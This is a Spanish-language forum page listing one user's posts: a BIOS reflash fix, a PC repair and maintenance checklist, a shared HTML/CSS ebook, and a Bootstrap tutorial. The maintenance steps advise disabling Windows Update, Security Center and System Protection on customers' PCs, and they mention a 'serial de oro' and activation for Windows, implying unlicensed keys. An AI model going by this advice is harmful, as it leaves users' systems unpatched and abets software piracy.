Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - arthusu

Páginas 1 2 3 4
#41
Hardware y Reparaciones / [Solución] Acer One ZG5 No Vídeo
Enero 10, 2014, 02:44:58 AM
Si ya hiciste varias pruebas como cambiar RAM, ver que los cables estén bien conectados, que ningún otro dispositivo cause conflicto, que no sea nada de la pantalla. Puedes hacer esta prueba de flashear la BIOS ya que es muy común en este tipo de laptops.

1.- Bajar la BIOS
2.- Renombrar archivo 3310.fd por ZG5IA32.fd
3.- Enviar a una USB recien formateada los archivos bajados
4.- Tener la bateria al 50% o mas y conectado el cargador
5.- Conectar USB
6.- Dar la combinacion de teclas fn+esc+boton de encendido (soltar cuando parpadee)
7.- Dejar la PC se reinica sola dando video :)



BIOS: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Creador del video: Angel Paredes

#42
Off Topic / You are a pirate
Diciembre 31, 2013, 04:06:26 AM
les traigo este swf que me divirtio mucho ajaja espero que los divierta tambien

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

como es la zona off topic no importa xD :P salu2
#43
Cursos, manuales y libros / [EBOOK] HTML, XHTML, and CSS, Sixth Edition
Diciembre 29, 2013, 04:26:50 PM
Buenas underc0de como no habia posteado nada les traigo su año nuevo :) xD les traigo un libro de feliz año nuevo a la comunidad.



lista de contenido:


Introduction

The Internet, the Web, and HTML

Open but Not Equal

The Browser Wars

The Push for Standards

CSS and Browser Support

XHTML vs. HTML: What Should You Use?

How This Book Works

What's Changed in the Sixth Edition

The HTML VQS Web Site
Chapter 1: Web Page Building Blocks

Markup: Elements, Attributes, and Values

A Web Page's Text Content

Links, Images, and Other Non-Text Content

File Names

URLs

HTML vs. XHTML

Versions, flavors, and DOCTYPE

The Default Display of (X)HTML
Chapter 2: Working with Web Page Files

Designing Your Site

Creating a New Web Page

Saving Your Web Page

About Microsoft Word and Web Pages

Specifying a Default or "Home" Page

Editing Web Pages

Organizing Files

Viewing Your Page in a Browser

The Inspiration of Others
Chapter 3: Basic (X)HTML Structure

Starting Your Web Page

Creating the Foundation

Declaring the Encoding

Creating a Title

Creating Section Headers

Starting a New Paragraph

Naming Elements

Breaking up a Page into Divisions

Creating Inline Spans

Creating a Line Break

Adding Comments

Labeling Elements in a Web Page
Chapter 4: Basic (X)HTML Formatting

Making Text Bold or Italic

Changing the Size of Text

Using a Monospaced Font

Using Preformatted Text

Quoting Text

Creating Superscripts and Subscripts

Marking Changed Text

Explaining Abbreviations

Centering Elements on a Page
Chapter 5: Images

About Images for the Web

Getting Images

Choosing an Image Editor

The Save for Web Command

Inserting Images on a Page

Offering Alternate Text

Specifying Size for Speedier Viewing

Scaling an Image

Making Images Smaller

Making Images Float

Stopping Elements from Wrapping

Adding Space around an Image

Aligning Images

Adding Horizontal Rules

Adding an Icon for Your Web Site
Chapter 6: Links

Creating a Link to Another Web Page

Creating Anchors

Linking to a Specific Anchor

Targeting Links to Specific Windows

Setting the Default Target

Creating Other Kinds of Links

Creating Keyboard Shortcuts for Links

Setting the Tab Order for Links

Using Images to Label Links

Linking Thumbnails to Images

Dividing an Image into Clickable Regions

Creating a Client-Side Image Map
Chapter 7: Style Sheet Building Blocks

Constructing a Style Rule

Adding Comments to Style Rules

The Cascade: When Rules Collide

A Property's Value
Chapter 8: Working with Style Sheet Files

Creating an External Style Sheet

Linking External Style Sheets

Offering Alternate Style Sheets

Creating an Internal Style Sheet

Importing External Style Sheets

Using Media-Specific Style Sheets

Applying Styles Locally

The Importance of Location

The Inspiration of Others: CSS
Chapter 9: Defining Selectors

Constructing Selectors

Selecting Elements by Name

Selecting Elements by ID or Class

Selecting Elements by Context

Selecting Part of an Element

Selecting Link Elements Based on Their State

Selecting Elements Based on Attributes

Specifying Groups of Elements

Combining Selectors
Chapter 10: Formatting with Styles

Choosing a Font Family

Specifying Alternate Fonts

Creating Italics

Applying Bold Formatting

Setting the Font Size

Setting the Line Height

Setting All Font Values at Once

Setting the Color

Changing the Text's Background

Controlling Spacing

Adding Indents

Setting White Space Properties

Aligning Text

Changing the Text Case

Using Small Caps

Decorating Text
Chapter 11: Layout with Styles

Structuring Your Pages

The Box Model

Changing the Background

Setting the Height or Width for an Element

Setting the Margins around an Element

Adding Padding around an Element

Offsetting Elements In the Natural Flow

Positioning Elements Absolutely

Affixing an Element to the Browser Window

Making Elements Float

Controlling Where Elements Float

Positioning Elements in 3D

Setting the Border

Changing the Cursor

Determining Where Overflow Should Go

Aligning Elements Vertically
Chapter 12: Dynamic Effects with Styles

Displaying and Hiding Elements

Creating Rollover Buttons

Creating Pop-ups

Creating Drop-Down Menus with Lists

Replacing Headers with Images
Chapter 13: Style Sheets for Handhelds

Mobilize vs. Miniaturize

Looking at Your Site

XHTML and CSS for Handhelds

Creating Style Sheets for Handhelds

Hiding Extraneous Elements

Creating and Using an Image Header

Creating Extra Links to the Top

Adjusting for the Small Screen
Chapter 14: Style Sheets for Printing

Creating a Style Sheet for Print

How Print Style Sheets Differ

Controlling Page Breaks

Printing Link URLs

Controlling Widows and Orphans
Chapter 15: Lists

Creating Ordered and Unordered Lists

Choosing Your Markers (Bullets)

Choosing Where to Start List Numbering

Using Custom Markers

Controlling Where Markers Hang

Setting All List-Style Properties at Once

Creating Definition Lists

Styling Nested Lists
Chapter 16: Tables

Mapping Out Your Page

Creating a Simple Table

Adding a Border

Setting the Width

Centering a Table

Wrapping Text around a Table

Combining Tables

Aligning a Cell's Contents

Changing the Background

Controlling the Space

Spanning a Cell across Columns

Spanning a Cell across Rows

Dividing Your Table into Column Groups

Dividing the Table into Horizontal Sections

Choosing Which Borders to Display

Controlling Line Breaks in a Cell

Speeding up Table Display
Chapter 17: Forms

Creating a Form

Processing Forms

Sending Form Data via E-mail

Organizing the Form Elements

Creating Text Boxes

Creating Password Boxes

Formally Labeling Form Parts

Creating Radio Buttons

Creating Menus

Creating Checkboxes

Creating Larger Text Areas

Allowing Visitors to Upload Files

Creating Hidden Fields

Creating the Submit Button

Resetting the Form

Using an Image to Submit Data

Setting the Tab Order in a Form

Adding Keyboard Shortcuts

Disabling Form Elements

Keeping Elements from Being Changed
Chapter 18: Video, Audio, and other Multimedia

Of Plugins and Players

Getting Players for Your Visitors

Getting Multimedia Files

Linking to Multimedia Files

Embedding QuickTime Movies for Windows

Embedding QuickTime Movies for Everyone besides IE

Embedding QuickTime Movies for All

Using JavaScript to Call a Movie

Scaling a QuickTime Movie

Change the Movie's Background Color

Looping a QuickTime Movie

Offering a Preview Movie

Adding Attributes to Secondary Movies

Offering a Sequel

Embedding MP3 Audio on a Page

Embedding Windows Media, Part 1

Embedding Windows Media, Part 2

Embedding Flash

Embedding Google and YouTube Video

Inserting Java Applets

Embedding Other Multimedia Files

Creating an Automatic Slide Show
Chapter 19: Scripts

Adding an "Automatic" Script

Calling an External Automatic Script

Triggering a Script

Creating a Button that Executes a Script

Adding Alternate Information

Hiding Scripts from Older Browsers

Hiding Scripts from XML Parsers

Setting the Default Scripting Language
Chapter 20: A Taste of JavaScript

Adding the Current Date and Time

Setting a New Window's Size

Changing an Image When a Visitor Points

Loading Images into Cache
Chapter 21: Symbols and Non-English Characters

About Character Encodings

Declaring Your Page's Character Encoding

Declaring a Style Sheet's Encoding

Saving Your Page with the Proper Encoding

Editing a Page with the Proper Encoding

Adding Characters from Outside the Encoding

Specifying A Page's Language
Chapter 22: Testing and Debugging Web Pages

Some Debugging Techniques

Check the Easy Stuff First!

Checking the Easy Stuff: HTML

Checking the Easy Stuff: XHTML

Checking the Easy Stuff: CSS

Validating Your Code

Testing Your Page

When the Browser Displays the Code

When Images Don't Appear

Differences from Browser to Browser

Still Stuck?
Chapter 23: Publishing Your Pages on the Web

Finding a Host for Your Site

Getting Your Own Domain Name

Transferring Files to the Server
Chapter 24: Getting People to Visit

About Keywords

Explicitly Listing Keywords

Providing a Description of Your Page

Controlling Other Information

Keeping Visitors Away

Keeping Pages From Being Archived

Creating a Site Map Manually

Using Google Sitemaps

Submitting Your Site to a Search Engine

Improving Your Ranking by Getting Linked

Writing Pages That Are Easy to Index

Other Techniques for Publicizing Your Site
Chapter 25: Syndication and Podcasting

What a Feed Looks Like

Getting Ready for Syndication

Starting an RSS Feed

Describing Your Site in the Feed

Adding Items to a Feed

Add an Enclosure

Creating Podcasts for iTunes

Validating a Feed

Submitting a Podcast to iTunes

Publishing your RSS Feed on Your Site

Subscribing to an RSS Feed

Subscribing to a Podcast with iTunes
Appendix A: (X)HTML Reference
Appendix B: CSS Properties and Values
Appendix C: Intrinsic Events
Appendix D: (X)HTML Symbols and Characters
Appendix E: Hexadecimals
Appendix F: (X)HTML Tools

(X)HTML Editors

Images and Graphics

Graphics Tools
Index

Colophon


para mas informacion: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Descargar: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#44
Hardware y Reparaciones / [Procesos] PC/Laptop - Lista de procesos para reparación/mantenimiento
Noviembre 20, 2013, 12:20:41 AM
Hola comunidad underc0de, bueno estaba en el trabajo y se me ocurrio una idea, ya que como todos saben cuando un cliente llega a arreglar una pc, te cuenta el problema que tiene su PC/Laptop, muchos de nosotros tenemos un proceso o unas instrucciones a seguir para cada cosa, y asi sabemos que deberia de ser, entonces se me ocurrio que todos vayamos compartiendo los procesos de diagnostico de algunas cosas que sabemos reparar de pc... en este caso pondre dos que son las mas comunes....


######################################################
#                           Laptop no enciende pantalla                                                #
######################################################

Muchos de los clientes que llegan, tienen este problema, su pantalla no enciende. Para ello yo sigo el siguiente proceso:

1.- Conectar la pantalla externa y teclado a la laptop

->Si la pantalla externa enciende, el problema esta en la pantalla (checar el flex moviendolo o cambiandolo, cambiar inverter y si no cambio pantalla completo )

->Muchas veces si el teclado da señales de vida, es decir, los leds de Bloc mayus... sabemos que el procesador esta funcionando correctamente, entonces descartamos que el problema este en el procesador.

2.- Cambiar memorias RAM (Uno de los problemas puede ser el socket donde este conectado la ram podemos cambiarlas de lugar, sino tambien podemos limpiar las memorias RAM con un borrador muchas veces se llenan de grasa de la piel y bueno por ultimo cambiar la ram, si nada de esto funciona pasaremos a lo siguiente).

3.- Desconeccion de elementos
A esto me refiero a que vayamos conectando elementos inecesarios en la laptop por que podrian estar causando algun inconveniente, por ejemplo, desconectamos CD/DVD, Disco Duro, Wifi ...
Asi nos damos cuenta cual es el que esta causando inconveniente o si la corriente no es suficiente.

4.- Cambiar bateria de la bios
Muchas veces aunque no crean una simple bateria puede causar el problema

5.- Cambio de procesador
Una de las mas comunes es que el procesador este dando fallas cambiando el procesador con uno compatible podemos solucionar este problema, para saber el procesador compatible podemos buscar el manual de servicio del modelo de nuestra laptop por gooogle.

6.- Desarmado de laptop
Al final si nada de esto funciona, lo ultimo seria seguir con el desarmado de laptop, con lo cual, checamos que no haiga un componente desoldado o mal conectado o quemado, una limpieza al abanico y procesador que puede hacer que la laptop se caliente demasiado.

7.- Reflow
El reflow es un proceso donde se calienta el chip de video a unos grandos centigrados para que se vuelva a soldar es nuestra ultima manera de revivir nuestro chip de video, aunque esta el reballing es un proceso que necesita una maquina especial que cuesta buen dinero xD.

8.- recalentar la tarjeta madre
Una de las cosas que me paso muy raro que paso una ves fue que tuve que recalentar la tarjeta madre, podria a ver sido que algun componente no estuviera bien soldado y estuviera causando algun problema y que no estaba visible.

Si no funciona ninguno de estos pasos el problema esta el la tarjeta madre... lo cual significa una reparacion costasa dependiendo de la laptop, ahi es donde sabemos si al cliente le conviene o no arreglarla...


################################################
#                Formateo y mantenimiento                                               #
################################################

Muchos de los clientes que van dicen que su PC esta un poco lento o ese tipo de cosas.

~~~~~~~~~Pasos para el formateo~~~~~~

Dependiendo de la capacidad del PC/Laptop conviene diferente tipo de sistema como son WinXP/Win7/Win8 como estos son sistemas comerciales hasta ahora no me a tocado personas tan buenas que me pidan algun sistema mac o linux :(

Digamos que tenemos un PC/Laptop que soporta un Windows X nosotros nos ahorramos un monton de tiempo siguiendo los siguientes pasos.

Herramientas necesarias:

- USB (Con programas utilizados)
- USB o DVD (Con el sistema operativo)

1.- Booteamos el USB o DVD
2.- Instalamos el sistema operativo
3.- Instalacion de drivers
->Para ello siempre bajo el driver de red primero utilizando Everest o viendo el modelo de tarjeta de red.... despues de eso instalo Driver genius en su ultima version e instalo los drivers actualizados, muchas de las personas que conosco se ahorran un monton de trabajo utilizando Drivers Pack Solution...
4.- Instalacion de programas
-> Yo solo instalo programas basicos, si el cliente pide algun otro en especial lo agregamos, los programas que instalo son los siguientes:

- Winoptimizer
- Adobe reader o Foxit
- Winrar
- Klite Codec Pack
- Ccleaner
- Atube Catcher
- AVG o NOD32
- NET Framework
- Java
- Chrome
- Nero (Si incluye grabadora o lectora el PC/Laptop)
- Office 2007 (aveces me piden el 2010 depende de la paqueteria o version que pida el cliente)
- Skype
- Si es Windows 7 u 8 activacion si es windows xp serial de oro.

5.- Optimizacion
Para la optimizacion siempre realizo los siguientes pasos:

-> Abro el Winoptimizer y optimizo lo que se pueda con el.
-> Inicio > Ejecutar > MSconfig > En inicio quito todo y dejo solo el antivirus
-> En servicios desactivo Parentals Control, Centro de seguridad y Windows Update
-> En arranque si es Windows XP > Opciones avanzadas y activo los dos procesadores y toda la RAM

-> Inicio > equipo > Propiedades > Configuracion avanzada del sistema > Rendimiento > Configuracion > Efectos visuales > Ajustar para obtener mejor rendimiento > Activo las ultimas 4

-> Ahi mismo en la pestaña Opciones avanzadas > Cambiar > Y en el disco que estoy usando actualmente le doy personalizado > activo la memoria virtual recomendada

-> Inicio > equipo > Propiedades > Configuracion avanzada del sistema > Proteccion del sistema > Desactivo la proteccion del sistema muchas veces es necesario pero gasta demasiada memoria

-> Por ultimo pasarle ccleaner por si hay algunas cosas que abrimos y el cliente utilize la pc/laptop desde 0.

En los efectos visuales podemos hacer que la PC/Laptop se vea fea y de una mayor optimizacion pero eso seria decision del cliente.




~~~~~~~~Pasos para el mantenimiento~~~~~~~~~~

El mal mantenimiento puede ser uno de los mayores problemas de calentamiento de las pcs, por lo que muchas veces se recomienda darle mantenimiento a un PC/Laptop cada mes, para un Pc podemos agregar ventilaciones nuevas para una laptop Un fan cooler en el cual sienta...



1.- Desarmado de PC/Laptop
2.- Sopleteo en todos los dispositivos (si es pc desarmamos la fuente de poder y limpiamos abanicos al igual si hay otros abanicos con brocha y sopleteo con aire comprimido, engrasamos con aceite muchas veces los abanicos)
3.- Cambio de pasta del procesador, para los PCS se usa pasta blanca y para las laptops para que tengan mayor duracion usamos pasta de plata
4.- Para los pcs si el cliente lo autoriza unas nuevas ventilaciones no estan demas siempre y que lo soporte nuestra fuente de poder, y para las laptops un fan cooler en el cual sienta la laptop si el cliente lo autoriza...

Nota: En este proceso depende del PC/Laptop del cliente si el quiere aumentar su memoria RAM, claro que tambien depende de la tarjeta madre si tiene algunas cosas que podamos actualizar.... como tambien puede ser el procesador.... para tener mejor velocidad o disco duro, pero eso depende del PC/Laptop y del cliente....

Hasta aqui algunos procesos que utilizo muy seguido en mi trabajo si ustedes quieren compartir algunos procesos de los cuales pasa a menudo y con lo cual todos podamos aprender a diagnosticar o realizar tal cosa, se aceptan procesos de tablets, pcs todo en uno, laptops, pcs de escritorio.....

Espero sus aportes para seguir con este post
#45
Off Topic / Que cancion usan como despertador?
Noviembre 19, 2013, 03:30:45 AM
Hola amigos de underc0de! bueno hoy andaba instalando mi despertador y le puse mi musica y pues se me ocurrio preguntarles que musica usan ustedes como despertador! la mia es la siguiente:



espero que compartan las musica con la que se levantan por las mañanas, salu2 :D
#46
Zona Webmaster / [FRAMEWORK][BootStrap] MiniTutorial Parte 3
Noviembre 08, 2013, 12:28:13 PM
Componentes de diseño
Bootstrap provee algunos componentes pero estos necesitan otros complementos separados como son los javascript de bootstrap el jquery, etc... y esto lo podemos personalizar.

  Menú Desplegable
Podemos crear un menú desplegable básico de la siguiente manera:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Expliquemos un poco primero creamos nuestro menu con la clase .dropdown-menu que es para crear el menu desplegable, le damos un rol de menu con el atributo role, aqui viene una parte importante le ponemos display:block ya que en las propiedades del dropdown-menu tiene display:none por lo que le debemos de dar un atributo display:block ... ponemos una posicion static ya que por defecto tiene absolute y le damos algunos margenes y tamaño, usamos el atributo aria-labelledBy para indicar una relacion con widgets, groups y labels.
    Opciones Agregandolo a un Div (Capa)

Tenemos algunas opciones que le podemos agregar a estos menus, empezando por ejemplo: agregando en un div con la clase .dropdown el menu anterior.

De manera que de algo de margen y posicion relativa.

Alinear a la derecha

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Podemos alinearlo a la derecha .pull-right :

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Deshabilitar una opcion del menu

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Para ello utilizamos la clase .disabled :

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Submenu

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Para crear un submenu solo agregamos la clase .dropdown-submenu dentro de una lista y asi podemos crear otra lista con los items para el submenu.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

  Grupos de botones Los grupos de botones permiten que multiples botones se alineen juntos, por lo cual debemos usar una capa (div) con su clase .btn-group

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

barra de herramientas

si tienes multiples botones puedes agregar fuera de la clase .btn-group la clase .btn-toolbar diciendo asi que es una agrupacion de una barra de herramientas, como en el siguiente ejemplo:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Como te puedes dar cuenta estamos usando las clases para hacer referencia a los sprites, si no te acuerdas de esto puedes ver el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Como ves en este caso nuestra clase .btn-group se muestra inline-block por lo que para poder hacer que se muestre por ejemplo, de manera vertical usariamos la clase .btn-group-vertical de manera que quede verticalmente nuestra barra de herramientas.
    Botones desplegables
Para agregar un boton simplemente envuelves el boton y el menu desplegable con .btn-group. Tambien puedes usar .caret para actuar como un indicador de que el boton es un boton desplegable:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Boton desplegable con separador (Split)

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
La diferencia es que le dejamos un boton vacio para que agregue la flecha hacia abajo viendose un poco mas formal.

Puedes usar las clases para hacer mas pequeños los botones como son: .btn-mini, .btn-small, .btn-large.

Tambien puedes usar la clase .dropup para que en lugar de abrir la flecha hacia abajo sea hacia arriba:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
  Elementos de navegación Bootstrap provee diferentes opciones para los estilos para los elementos de navegacion. Todos comparten el mismo marcado y la clase base .nav.

Boostrap tambien provee una clase de ayuda, .active. En principio agrega distincion entre el elemento actual y los elementos aparte del resto de los elementos de navegacion. Tu puedes agregar esta clase para los links principales o los links de la pagina actualmente activos.

  Navegación tabular Para crear unas fichas en el menu, comenzamos basicamente con una lista desordenada con la clase base .nav y agregando .nav-tabs.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

    Navegación básica comprimida Para usar la navegacion comprimida usamos .nav-pills en lugar de .nav-tabs.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

  Clase deshabilitar Para cada clase .nav, tu puedes agregar la clase .disabled, y se creara un link con estilo gris tambien puedes deshabilitar el estado :hover.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

  Navegación apilada Ambas clases .nav-tabs y nav-pills son horizontales por defecto. Por ello aparece el apilamiento vertical, solo agregamos la clase .nav-stacked.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

  Navegación Desplegable La navegacion desplegable comparte una sintaxis similar con los botones desplegables. Por defecto, tu tienes una lista de enlaces trabajando en conjunto con algunos atributos que disparan una lista desordenada con la clase .dropdown-menu.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Para hacer lo mismo con una navegacion comprimida, simplemente intercambiamos .nav-tabs por .nav-pills.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta





  Lista de navegación Las listas de navegacion son utiles cuando tu necesitas mostrar un grupo de enlaces. Este tipo de elementos es comun cuando creas un panel de administrador.  Un ejemplo, tu puedes crear todos los enlaces de las paginas mas comunes. Al igual que todas las listas vistas hasta ahora, las listas de navegacion tambien no ordenadas con la clase .nav y para agregar el estilo en especifico de lista de navegacion agregamos .nav-list.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Como puedes ver con la clase .nav-header en un elemento de la lista podemos crear nuestro encabezado en la lista de navegacion.
Y tambien con la clase .divider en un elemento de la lista podemos crear un divisor en la lista de navegacion.

  Navegación por fichas Tu no solo puedes crear una navegacion por fichas usando el complemento de javascript y la clase .tabbable, tu puedes agregar interaccion par abrir diferentes ventanas con diferentes contenidos. Para crear una navegacion con pestañas o fichas, nosotros usamos .tab-pane como identificador unico para cada pestaña, y el contenido lo envolvemos con .tab-content:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

  Posicionamiento de las fichas Las pestañas o fichas son completamente posicionables, tu puedes ponerlas abajo o arriba y lo veras como resultado en el contenido.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Como ves usamos la clase .tabs-below, si quisieramos otro posicionamiento de los tabs (fichas o pestañas) podriamos agregar cualquiera de estas clases:

.tabs-left - las fichas se posicionan a la izquierda
.tabs-right  - las fichas se posicionan a la derecha

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

    Barra de navegación La barra de navegacion es una de las mejores caracteristicas que tiene bootstrap, incluye estilos para el nombre del sitio y navegacion basica. Puede ser extendida agregando controles de formulario especificos y dropdowns (menus desplegables), este seguro de que la barra de navegacion restringe el ancho del contenido de la pagina, esta puede ser colocada dentro de un div .span12 o .container.

barra de navegación básica

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Notas la clase .brand en el codigo. Este te da un texto con un poco de brillo, negrita y un tamaño personalizado. Se utiliza para los titulos en la barra de menu.

  Enlaces en la barra de navegación
Para agregar enlaces en la barra de navegacion, simplemente agregas una lista no ordenada con la clase .nav. Si tu quieres agregar un divisor a los enlaces, tu puedes agregar una lista vacia con la clase .divider-vertical:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


  Formularios En lugar la clase base de los formularios que vimos en elNo tienes permitido ver los links. Registrarse o Entrar a mi cuenta
de los formularios usaremos la clase .navbar-form esto asegura que los margenes coincidan para una barra de navegacion. Como nota puedes poner el posicionamiento usando las clases .pull-right y .pull-left.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
El formulario anterior es un formulario basico en una barra de navegacion.

Para agregar esquinas redondeadas, como los campos de entrada que se miran en los dispositivos iOS, usamos la clase .navbar-search en lugar de la clase .navbar-form.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


  Barra de navegación variaciones en el menú
La barra de navegacion de bootstrap puede ser dinamica. Por defecto, esta posicionada como elemento en bloque basandose en el HTML. Con algunas clases de ayuda, podemos posicionarla arriba o abajo de la pagina, o puede ser que cuando tenga la barra de scroll este estatico en la pagina.

barra de navegación fijada arriba

Si tu quieres una barra de navegacion fijada arriba, agrega .navbar-fixed-top junto la .navbar. Para prevenir que la barra de navegacion quede sentado sobre otro elemento del cuerpo agregamos 40px de padding (separacion) en el body (cuerpo)

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

barra de navegación fijada abajo

para fijar debajo de la pagina, simplemente agregas la clase .fixed-navbar-bottom junto la clase .navbar. Para prevenir que la barra de navegacion quede sentado sobre otro elemento del cuerpo agregamos 40px de padding (separacion) en el body (cuerpo)

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Barra de navegación estática arriba

Para crear una barra de navegacion con scrolls en la pagina, agregamos la clase .navbar-static-top. Esta clase no requiere agregar padding (separacion) en el body (cuerpo).

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Responsive Navbar (Barra de navegacion adaptativa)

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Como el resto de bootstrap, la barra de navegacion puede mostrarse totalmente responsive (adaptativa). Para agregar caracteristicas adaptativas. El contenido que quieres que sea colapsado (mostrado) debe envolverse en un DIV con la clase .nav-collapse.El colapso es naturalmente activado por el boton con la clase .btn-navbar el cual tiene dos elementos data- . El primero data-toggle llama al javascript para decirle lo que hara el boton, y el segundo data-target indica que elemento se cambia. 3 etiquetas Spans con la clase .icon-bar. Cambiara los elementos que estan en el div .nav-collapse. Para que esta caracteristica funciones deben estar incluidos los archivos bootstrap-responsive.css, collapse.js o completamente el archivo bootstrap.js.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
  Vista desde el navegador sin usar diseño adaptable en firefox

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Vista con el navegador con diseño adaptable firefox
Como puedes ver al adaptarse nuestro barra de navegacion tenemos que usar el boton de arriba el cual creamos para que se colapsara y nos mostrara el menu...
Barra de navegacion color invertido
Para invertir el color de la barra a negro y el texto en blanco simplemente agregamos .navbar-inverse a la clase .navbar.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Camino de navegacion  El camino de navegacion es una buena forma de mostrar la jerarquia del sitio. En el caso de los blogs un camino de navegacion puede mostrar los datos que son publicados en determinadas fechas, categorias. Los caminos de navegacion en bootstrap son simplemente una lista sin ordenadar con la clase .breadcrumb.
Tambien podemos añadir la clase de ayuda .divider con un pequeño texto. El cual puede ser barra diagonal (/), flechas (->) o el divisor que tu eligas.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Paginación  Bootstrap maneja la paginacion como muchos otros elementos de una interfaz, una lista no ordenada, envuelta con un DIV que identifique el elemento. En un formulario basico, agregamos .pagination como DIV (capa) padre creando una lista de enlaces. Cada elemento tiene un estilo adicional usando la clase .disabled o .active.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

En adicion de la clase .active o .disabled para los item, tu puedes agregar .pagination-centered en el DIV (capa) padre. Para centrar el contenido del DIV. Si tu quisieras alinear a la derecha el DIV podrias usar la clase .pagination-right. Para el tamaño en adicion del tamaño normal hay otros tres tamaños que puedes aplicar en el DIV principal: .pagination-large, .pagination-small y pagination-mini.

  No tienes permitido ver los links. Registrarse o Entrar a mi cuenta  No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Paginar

Si tu necesitas agregar enlaces mas alla del texto el paginar puede resultar muy bien. Como los enlaces de paginacion, la estructura es una lista no ordenada dentro del DIV principal. Por defecto los enlaces estan centrados.

  No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Para alinear los enlaces a la izquierda o a la derecha solo es necesario usar las clases .previous y .next en los items > LI, tambien puedes usar la clase .disabled dentro de un ITEM para que tome otro estilo como si ya no hubiera mas paginas que ver en Anterior por ejemplo.

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

  Etiquetas Las etiquetas son geniales para ofrecer cuentas, consejos u otro tipo de estructura en la pagina.

  No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
  Simbolo o Insignia Los simbolos o insignias son similares a las etiquetas, la diferencia de esto es que las esquinas son mas redondeadas. Los colores de el simbolo o la insignia refleja algunas clases de las etiquetas.

  No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
  Elementos tipográficos En adicion de los botones, etiquetas, formularios, tablas y tabs, bootstrap tiene algunos elementos para una plantilla basica.

Hero Unit

Hero Unit es una gran area de contenido que aumenta el tamaño de las cabeceras y añade un monton de margen para el contenido de la pagina.
Para utilizar Hero Unit basta con crear un DIV (capa) con la clase .hero-unit  ademas de un <H1> mas grande el font-weight es reducido a 200:

  No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

    Encabezado de pagina El encabezado de pagina es una pequeña funcion para añadir espacio apropiado alrededor de los titulos de una pagina.  Esto es particularmente util en una pagina como un BLOG por ejemplo, donde puedes tener varios titulos de entrada y necesitas agregar una distincion en cada uno de ellos. Para utilizar un encabezado de pagina, solo hay que poner dentro de un DIV la clase .page-header:

  No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

    Miniaturas Una gran cantidad de sitios necesita una manera de exponer imagenes en una cuadricula y bootstrap tiene una manera facil de hacer esto. Para crear una imagen miniatura, añadimos en la etiqueta <a> la clase .thumbnail alrededor de una imagen esto añade 4px de padding (relleno) y un borde gris. Cuando pasas el puntero encima un resplandor de animacion describe la imagen.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Ahora has creado una imagen miniatura basica, tu puedes agregar cabeceras, botones y mas para mostrar, solo cambia la etiqueta <a> que tiene la clase .thumbnail a un <div>. Dentro del <div> puedes agregar lo que tu necesites. Desde este <div> puedes agregar el tamaño por span... (span1,span2,span3....) Si quieres agrupar multiples imagenes, coloca una lista no ordenada y cada item de la lista estara flotando a la izquierda.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Como puedes ver usamos la clase .thumbnails para hacer un grupo de imagenes en miniatura...

  Alertas Las alertas proveen un estilo para mensajes a los usuarios. Para crear una alerta por defecto en un <div> agregamos la clase .alert

